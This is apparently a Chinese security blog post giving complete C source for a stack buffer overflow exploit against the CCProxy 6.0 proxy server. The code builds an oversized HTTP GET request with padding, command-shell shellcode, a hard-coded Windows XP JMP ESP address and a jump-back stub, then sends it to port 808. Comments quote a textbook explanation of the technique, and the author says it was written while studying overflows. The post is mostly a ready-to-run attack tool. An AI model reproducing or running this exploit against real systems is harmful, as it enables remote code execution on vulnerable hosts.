注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

K8拉登哥哥's Blog

K8搞基大队[K8team] 信息安全 网络安全 0day漏洞 渗透测试 黑客

 
 
 

日志

 
 

[溢出]C ccproxy6.0 overflow exploit by k8team  

2013-10-20 11:30:04|  分类: 缓冲区溢出 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

//ccproxy6.0 overflow exploit by k8team
//这是前两天学缓冲溢出 看教程里研究的 书中说光盘有这玩意的EXP
//但是 最后发现 根本没有这EXP 所以自己构造了下 另外还用python perl等语言构造
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
    WSADATA ws;
    SOCKET s;
    int ret;
    char buf[8000];
    int i;
    int nLen;

    //初始化wsa
    WSAStartup(MAKEWORD(2,2),&ws);
    //建立socket
    s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    //连接对方808端口
    struct sockaddr_in server;
    server.sin_family = AF_INET;
    server.sin_port = htons(808);
    server.sin_addr.s_addr=inet_addr("127.0.0.1");
    //连接!
    if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0)
    {
        printf("connect error");
        return -1;
    }
    
    //这里长度为5 一开始就已进入buf了
    nLen = 0;
    strcpy(buf, "GET /");
    nLen += sizeof("GET /")-1;
    

    //精确到个位 5是一开头 就混进来的 那个 get /
    for(nLen; nLen<4052+5-106; nLen++)
    {
        buf[nLen] = 'E';//45
    }

    /*
    "证明的确是4052的地方覆盖了返回点。有了返回点的位置,写出利用程序简直就是轻车熟路了!"老师说道。
"是啊,我们覆盖4052个A,然后是JMP ESP的地址,这个是……是……"玉波挠了挠后脑勺。
古风一口答道:"是0x7FFA4512。"
"对!最后跟上ShellCode,按照下面这个格式就行了。"

     GET /AAAA(4052个A)… JMP ESP地址 SHELLCODE HTTP/1.0  这样不行

"嗯!是的。"老师补充道,"但因为覆盖了4052个字节,所以我们可以把ShellCode放在前面,而在JMP ESP的地址后放一个JMP BACK的指令,跳回到ShellCode中。格式就像这样:"

 GET \ AAAA…AA ShellCode 0x7FFA4512 JMPBACK HTTP/1.0  这样OK
 5字节 + buffer + shellcode +jmpesp + jmpback + http /11.0

*/

    //长度116 4000+45+6 要减去106+12+4 = 122
    char shellcode[]=
    //"\x12\x45\xfa\x7f" //xp sp3跳转地址
    //"\xcd\x54\xfa\x7f" ////ret addr jmp esp
    //"\xb9\x41\x41\x41\x25\xc1\xe9\x14\x2b\xe1\xff\xe4" ////jmp back

// cmd shellcode 106字节                
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"    
"\xC6\x45\xF6\x56"    
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"    
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";


    buf[nLen] = '\0';
    strcat(buf,shellcode);
    nLen += sizeof(shellcode)-1;
    //shellcode结束=========================================================

    
    //jmpesp
    char jmpesp[]="\x12\x45\xfa\x7f";
    //buf[nLen] = '\0';
    strcat(buf, jmpesp);
    nLen += sizeof(jmpesp);

    ////jmpback  长度12
    char jmpback[]="\xb9\x41\x41\x41\x25\xc1\xe9\x14\x2b\xe1\xff\xe4";
    //buf[nLen] = '\0';
    strcat(buf,jmpback);
    nLen += sizeof(jmpback);
/*    
    //TEST
    char k8test[]="AAAABBBBCCCCDDDD";
    buf[nLen] = '\0';
    strcat(buf, k8test);
    nLen += sizeof(k8test)-1;
*/

    buf[nLen] = '\0';
    strcat(buf, " HTTP/1.0\x0D\x0A\x0D\x0A");
    nLen += sizeof(" HTTP/1.0\x0D\x0A\x0D\x0A")-1;
    


    //构造字符串后,发送
    send(s, buf, nLen , 0);
    printf(buf);
    
    
    printf("\r\nShellCodeLength: %d",sizeof(shellcode));

    printf("\r\nsend OK!\r\n\r\n");

    closesocket(s);
    WSACleanup();

    return 0;
}
  评论这张
 
阅读(734)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016